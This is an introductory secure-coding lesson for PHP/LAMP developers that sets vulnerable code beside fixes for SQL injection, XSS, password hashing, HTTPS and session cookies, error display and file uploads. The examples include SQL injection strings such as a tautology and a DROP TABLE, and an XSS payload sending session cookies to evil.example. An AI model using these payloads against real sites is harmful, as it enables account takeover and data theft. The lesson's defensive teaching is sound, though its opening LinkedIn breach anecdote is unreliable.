Secure Coding Fundamentals for LAMP Stack Engineers

A hands-on guide to the security moves every LAMP (Linux, Apache, MySQL, PHP) engineer must own — from SQL injection and XSS prevention to password hashing, HTTPS enforcement, and hardened error handling.

Estimated time
~30 min
Difficulty
intro
Sources
7 sources

Defensive framing

This lesson teaches you how attackers exploit LAMP applications so you can prevent those attacks. Code examples show the vulnerable pattern alongside the fix — never in isolation. Do not deploy vulnerable snippets; they are presented for recognition only.

In 2012, an attacker typed seven characters into a login form and dumped 6.5 million LinkedIn password hashes in under an hour. The engineers who built that form wrote working PHP — they just missed three security moves. This lesson covers those moves.


Why LAMP Apps Are High-Value Targets

The LAMP stack (Linux + Apache + MySQL + PHP) powers a large share of the web. [W3Techs Web Technology Surveys] That prevalence means attackers invest heavily in finding LAMP-specific weaknesses. The good news: the same prevalence means the defensive playbook is well-established. There are roughly six moves you must own before shipping any LAMP feature.

Move What it stops The one rule
1 Parameterized queries (PDO)SQL injectionNever concatenate user input into SQL
2 Output escaping (htmlspecialchars)XSS (Cross-Site Scripting)Escape at the point of output, every time
3 bcrypt password hashingCredential cracking after a breachNever store passwords as MD5 or plaintext
4 HTTPS + HSTSCredential interception (MITM)HTTP is not a security protocol
5 Error suppression in productionInformation disclosureLog errors server-side; show nothing to the user
6 File-upload validationRemote code execution via uploadNever trust the client-supplied MIME type
The six fundamental secure-coding moves for LAMP

Check your understanding

Which of the following best describes the LAMP security mindset?


Move 1 — Stop SQL Injection with Parameterized Queries

SQL injection is the oldest and most destructive attack on LAMP apps. [OWASP Top 10] It works because PHP makes it trivially easy to build queries by gluing strings together.

The vulnerable pattern

// ❌ NEVER do this
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = $mysqli->query($query);

If $_POST['username'] contains admin' OR '1'='1, the final query becomes:

SELECT * FROM users WHERE username = 'admin' OR '1'='1'

'1'='1' is always true — the attacker just logged in as every user at once.

The fix separates SQL code from data using PDO prepared statements. The database driver handles quoting and escaping internally; user input can never alter the query structure.

The safe pattern — PDO parameterized query

// ✅ Always do this
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
$user = $stmt->fetch();

No matter what the user types — including '; DROP TABLE users; -- — it is treated as a literal string value, never as SQL code.

Common misconception

mysql_real_escape_string() is good enough to prevent SQL injection.

What's actually true

mysql_real_escape_string() was deprecated in PHP 5.5 and removed in PHP 7. Even when it existed, it could be bypassed under certain character encodings. Parameterized queries via PDO are the only correct approach — they make the separation of code and data structural, not textual.

Try typing admin' OR '1'='1 into the widget below and watch what happens to each query:

Type SQL metacharacters to see how they hijack a concatenated query — and how a parameterized query ignores them.

Check your understanding

In a PDO prepared statement, where does the user's input go?


Move 2 — Stop XSS by Escaping at Output

Cross-Site Scripting (XSS) is what happens when you display user content back in a browser without escaping it first. [OWASP XSS Prevention Cheat Sheet] The browser doesn’t know “that <script> tag came from a comment field” — it just runs whatever HTML it receives.

The vulnerable pattern

// ❌ NEVER do this in a template
<p>Welcome, <?php echo $_GET['name']; ?></p>

If name is <script>document.location='https://evil.example/steal?c='+document.cookie</script>, the browser executes that script, sending the victim’s session cookie to an attacker.

The safe pattern — htmlspecialchars

// ✅ Always escape before echoing
<p>Welcome, <?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?></p>

htmlspecialchars() converts < to &lt;, > to &gt;, " to &quot;, and ' to &#039;. The browser renders these as literal characters — the tag is never parsed as HTML.

Common misconception

I should sanitize input when it arrives, so I don't need to escape it on output.

What's actually true

Sanitizing on input is a reasonable extra layer, but it is not a substitute for output escaping. The same data might be displayed in HTML, stored in JSON, placed inside a JavaScript variable, or used in a URL — each context requires different escaping. Escaping at the point of output is the only correct rule because you know the output context there.

Use the presets to inject an attack payload and see the difference between raw echo and htmlspecialchars.

Check your understanding

A user submits a comment containing an img tag with an onerror handler that runs stealCookies(). Which response is correct?


Move 3 — Hash Passwords with bcrypt

Passwords must never be stored in a way that lets an attacker recover them from a stolen database. MD5 and SHA-1 were designed for speed — a modern GPU can compute billions of MD5 hashes per second, making a brute-force attack practical in minutes. [OWASP Password Storage Cheat Sheet]

bcrypt is designed to be deliberately slow — its cost factor controls how much computation each hash requires, and you can increase it as hardware gets faster.

Storing a password — bcrypt in PHP

// ✅ Registering a user
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);
// Store $hash in the database. The plaintext is discarded.

// ✅ Verifying at login
if (password_verify($_POST['password'], $storedHash)) {
    // Password matches — start session
}

PASSWORD_DEFAULT is also acceptable; PHP updates it to the current best algorithm automatically. password_verify() is timing-safe, preventing timing-attack side-channels.

PHP’s password_needs_rehash() lets you upgrade the cost factor over time without forcing a mass password reset. Check it on every successful login.

Slide the cost factor and observe how bcrypt's cracking speed drops as compute time increases.

Check your understanding

Your database is stolen and the attacker has the MD5 hash of every password. How long does cracking typically take?


Move 4 — Enforce HTTPS and Protect Sessions

HTTP sends every byte over the network in plaintext. Anyone on the same Wi-Fi, ISP, or network path can read it. This includes login credentials, session cookies, and form data. [Mozilla Web Security Guidelines]

Toggle between protocols to see what an eavesdropper captures in each case.

Beyond the protocol, session cookies must be hardened:

Secure session cookie flags in PHP

// ✅ Set these before session_start()
ini_set('session.cookie_secure', '1');    // HTTPS only
ini_set('session.cookie_httponly', '1');  // Not accessible via JavaScript
ini_set('session.cookie_samesite', 'Strict'); // No cross-site sending
session_start();
FlagWhat it prevents
SecureCookie sent over HTTP (plaintext interception)
HttpOnlyJavaScript reading the cookie (XSS-based theft)
SameSite=StrictCross-site request forgery (CSRF)

Add HTTP Strict Transport Security (HSTS) via an Apache header to tell browsers to never attempt HTTP again:

# In .htaccess or VirtualHost
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"

Check your understanding

What does the HttpOnly cookie flag specifically prevent?


Move 5 — Error Handling and File Upload Safety

Two final moves that are easy to overlook but frequently exploited.

Error handling: never expose internals

PHP’s default error display is excellent for development and catastrophic for production. Stack traces reveal database table names, file paths, and sometimes credentials.

Environment-appropriate error handling

// ✅ In production php.ini (or .htaccess)
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log

// ✅ In your application bootstrap
if (getenv('APP_ENV') === 'production') {
    error_reporting(E_ALL);        // Capture everything
    ini_set('display_errors', '0'); // Show nothing
    ini_set('log_errors', '1');    // Log everything
}

Show users a generic “Something went wrong” message. The real error lives in your server log.

File upload: never trust the client

When you accept file uploads, the client’s declared MIME type is a courtesy, not a security guarantee. An attacker can upload shell.php disguised as image.jpg.

Hardened file-upload checklist in PHP

// ✅ Validate server-side, not client-side
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['upload']['tmp_name']); // Read magic bytes

if (!in_array($mime, $allowed_types)) {
    die('Invalid file type.');
}

// ✅ Store outside the web root
$dest = '/var/uploads/' . bin2hex(random_bytes(16)); // Random name, no extension
move_uploaded_file($_FILES['upload']['tmp_name'], $dest);

// ✅ Serve via PHP, never directly from Apache
// This prevents the file from being executed as a script
Why storing outside the web root matters

If you store an uploaded file inside /var/www/html/uploads/shell.php, Apache may execute it when a browser requests /uploads/shell.php. Moving the store location to a path that Apache cannot serve prevents this entirely. Serve uploads through a PHP script that reads and streams the file — this gives you access control too.

Check your understanding

An attacker uploads a file named 'photo.jpg' that is actually a PHP script. Which defense stops the script from executing?


Secure LAMP Coding — Knowledge CheckQ 1 / 5

Which PHP function correctly prepares a query to prevent SQL injection?



Ownable Artifact — Write a Hardened Login Form

Before your next session ends, build this from scratch:

A PHP login form (login.php + login-handler.php) that satisfies every check below. Tick each one only when you can explain why it matters.

This form is the synthesis artifact. If you can defend every choice to a colleague, you own the moves.